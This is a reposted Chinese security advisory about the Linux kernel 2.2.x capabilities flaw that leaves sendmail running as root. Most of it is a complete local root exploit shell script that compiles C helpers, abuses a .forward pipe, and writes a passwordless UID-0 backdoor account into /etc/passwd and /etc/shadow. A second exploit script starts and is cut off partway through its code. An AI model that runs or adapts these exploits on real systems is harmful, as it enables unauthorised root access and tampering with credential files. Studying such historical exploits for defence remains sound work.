Linux 内核Capabilities漏洞导致本地用户获取roo…

2008-04-09 04:28:25来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

Linux 内核Capabilities漏洞导致本地用户获取root权限

发布日期:2000-06-10
更新日期:2000-06-11

受影响系统:

Linux kernel 2.2.x (x<16)
sendmail 8.10.1以及更低版本
procmail
不受影响系统:

Linux kernel 2.2.16

描述:

POSIX中的"Capabilities"(能力,权限)在Linux kernel中已经得到实现。利用"Capabilities"
可以对授权进程进行更为精确的控制,通过指定某些"Capabilities",从一些程序中获得的访问权
限只能到达程序要求到达的部分,这无疑是一个安全措施。问题是"Capabilities"在fork()子进
程时可以被复制,这意味着如果"Capabilities"在父进程中被设置,就会被传递给子进程。如果
在父进程中将CAP_SETUID的能力禁止,那么子进程将不能执行setuid()调用。这就可能带来一个
安全问题,如果在子进程中执行sendmail,在sendmail想用setuid(getuid())丢弃掉root权限时,
它就不能真正的完成这个操作,因此sendmail就会仍然以root权限运行,攻击者可能利用.forward
来获取root权限。实际上,所有设置了setuid/setgid属性的程序都可能存在被攻击的可能。

<* 来源:Wojciech Purczynski (wp@elzabsoft.pl)
Gerrie <gerrie@hit2000.org>
Peter Van Dijk <petervd@vuurwerk.nl>
Christophe GRENIER (grenier@nef.esiea.fr)
Kyle Sparger (ksparger@dialtoneinternet.net)
*>






测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

========================= bug_kernel.sh BEGIN ===================================
#!/bin/sh
echo Exploit for capability bug using sendmail
echo 8 june 2000 - Christophe GRENIER
echo grenier@nef.esiea.fr
echo http://www.esiea.fr/public_html/Christophe.GRENIER
echo
export BINDIR=$HOME
cat > add.c <<EOF
#include <fcntl.h>
#include <unistd.h>

int main (void)
{
int fd;
char string[40];
seteuid(0);
chmod("/etc/passwd",0644);
fd = open("/etc/passwd", O_APPEND|O_WRONLY);
if(fd>0)
{
strcpy(string, "kmaster0:x:0:0::/root:/bin/sh\n");
write(fd, string, strlen(string));
close(fd);
}
chmod("/etc/shadow",0600);
fd = open("/etc/shadow", O_APPEND|O_WRONLY);
if(fd>0)
{
strcpy(string, "kmaster0::11029:0:99999:7:::\n");
write(fd, string, strlen(string));
fchmod(fd,0400);
close(fd);
}
return 0;
}
EOF
cat > ex.c <<EOF
#include <stdlib.h>
#include <unistd.h>
#include <linux/capability.h>

int main (void)
{
cap_user_header_t header;
cap_user_data_t data;
header = malloc(8);
data = malloc(12);
header->pid = 0;
header->version = _LINUX_CAPABILITY_VERSION;
data->inheritable = data->effective = data->permitted = 0;
capset(header, data);
execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);
return 0;
}
EOF
gcc -o $BINDIR/add add.c
gcc -o ex ex.c
chmod 755 $BINDIR/add
chmod 711 $BINDIR
cat > mail.msg << EOF
From: $USER
To: $USER
Subject: exploit
pipo
EOF
echo "\"|exec $BINDIR/add || exit 75 #GRENIER\"" > ~/.forward
chmod 600 ~/.forward
./ex < mail.msg
echo Waiting a little bit...
sleep 3
echo Cleaning
rm -f mail ex ex.c $BINDIR/add add.c ~/.forward
su - kmaster0
========================= bug_kernel.sh END ===================================


=========================== smlnx BEGIN =======================================
#!/bin/sh

echo " ----------------------------------------------------------- "
echo "| Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1 |"
echo "| local root exploit |"
echo "| |"
echo "| Bugs found and exploit written by Wojciech Purczynski |"
echo "| wp@elzabsoft.pl cliph/ircnet Vooyec/dalnet |"
echo " ----------------------------------------------------------- "

TMPDIR=/tmp/foo
SUIDSHELL=/tmp/sush
SHELL=/bin/tcsh

umask 022
echo "Creating temporary directory"
mkdir -p $TMPDIR
cd $TMPDIR

echo "Creating anti-noexec library (capdrop.c)"
cat <<_FOE_ > capdrop.c
#define __KERNEL__
#include <linux/capability.h>
#undef __KERNEL__
#include <linux/unistd.h>
_syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Microsoft IIS 4.0/5.0泄漏会话标识Cookie的漏洞

下一篇:Savant Web Server CGI 源码泄露